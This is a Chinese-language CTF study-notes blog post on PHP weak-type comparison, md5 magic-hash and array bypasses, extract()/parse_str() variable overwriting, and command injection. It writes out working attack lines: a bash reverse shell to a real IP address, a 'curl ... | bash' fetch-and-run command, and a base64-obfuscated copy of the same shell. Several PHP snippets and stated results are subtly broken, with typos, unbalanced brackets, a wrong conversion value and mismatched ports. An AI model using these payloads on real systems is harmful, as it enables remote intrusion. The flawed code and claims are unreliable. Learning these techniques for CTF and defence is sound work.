常见CTF

弱类型

=== 和 == 比较

image-20221006160341707

<?php
    var_dump( "admin"==O); //true
    var_dump("1admin"==1); //true
    var_dump( "admin1"==1) //false
    var_dump( "admin1"==O) //true
    var_dump ( "0e123456"=="0e4456789"); //true 科学计数法 
    ?>
123admin => 123
admin => 0
admin1 => 0
123admin123 => 132

image-20221006161052408

ctf:

if(isset($_POST['a']){
	$a = json_decode($_POST['a']]);
	$key = "*******"
	if($a -> key == $key){
		echo "flag";
	} else {
		echo "fail";
	}
} else {
	echo "---";
}

image-20221006161754208

fail

image-20221006161848035

flag

image-20221006161915890

哈希(md5)绕过

可以参考

https://blog.csdn.net/LYJ20010728/article/details/116779357

哈希验证

科学计数法绕过

$a != $b
md5($a) == md5($b)
    
    
'0e545993274517709034328855841020' == '0e342768416822451524974117254469' //true
    
    
byGcY
0e591948146966052067035298880982

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

240610708
0e462097431906509019562988736854

314282422
0e990995504821699494520356953734

571579406
0e972379832854295224118025748221

903251147
0e174510503823932942361353209384


    a = s878926199a 
    b = s155964671a
    md5($a) == md5($b)
    0e545993274517709034328855841020 == 0e342768416822451524974117254469
    

数组绕过

由于md5不能加密数组,在加密数组的时候会返回NULL,所以我们可以传入两个数组
数组绕过适用于源码中没有判断变量类型或内容,如果加上了过滤函数就不能使用了

常见过滤函数如下:

ctype_alnum ( string $text ) : bool
// 如果text中所有的字符全部是字母和(或者)数字,返回 TRUE 否则返回FALSE 

is_numeric ( mixed $var ) : bool
// 如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE

img

img

(string)$a !=(string)$b
md5($a) === md5($b)
    
老老实实的利用hash碰撞
hash碰撞例子:https://www.jianshu.com/p/c9089fd5b1ba

有意思的题

1. 顺序的问题

image-20221006163155175

image-20221006163131915

对数组的a[0]a[1]严格过滤,但是接收的是传入的前两个参数

2. $md5 = md5($md5)

 $md5 = md5($md5)
     
需要一个md5和md5(md5)都是0e开头
     很多:
	 0e01875552079 0e780449305367629893512581736357
     0e01975903983 0e317084484960342086618161584202
     0e02042356163 0e335912055437180460060141819624
     0e02218562930 0e151492820470888772364059321579
     0e02451355147 0e866503534356013079241759641492
     0e02739970294 0e894318228115677783240047043017
     ...

变量覆盖问题

Extract()

image-20221006164320773

$arr = $_GET[ 'arr' ] ;
extract($arr);
@$d ( $_POST ['a']);//动态函数调用

image-20221006164948318

image-20221006164906546

Parse_str()

image-20221006165146994

$arr = $_GET[ 'arr' ] ;
parse_str($arr)
@$d ( $_POST ['a']);//动态函数调用

image-20221006165444716

image-20221006165749633

首先 QNKCDZO md5为科学计数法形式

image-20221006165844897

所以传入 ?id=a[0]=s1091221200a

命令执行漏洞

命令执行

image-20221006170110480

image-20221006170418120

image-20221006171145246

实例

image-20221006171346152

正常:

image-20221006171411576

利用: 127.0.0.1;ls -l

image-20221006171455090

联合执行

前一个命令的结果作为后一个命令的参数

image-20221006171833804

image-20221006171847327

换行符
    %0a
    %0d

反弹shell

监听这个端口:

nc -lvp 13258

image-20221006172711328

在web的txt文件中写入 执行代码: bash -i > & /dev/tcp/101.132.237.224/12358 0>&1

执行:curl http://101.132.237.224/12358/d.txt | bash

反弹shell成功 获取目标shell

image-20221006172741523

也可以结合base64加密

image-20221006172910941

echo YmFzaCAtaSA+ICYgL2Rldi90Y3AvMTAxLjEzMi4yMzcuMjI0LzEyMzU4IDA+JjE= | base64 -d | bash

无回显的

​ 1.带出

​ 2.延时盲注 shell

过滤

空格过滤

代替空格

image-20221006173354527

关键字过滤

image-20221006173952371

posted @ 2023-02-04 20:23  crabin88  阅读(89)  评论(0编辑  收藏  举报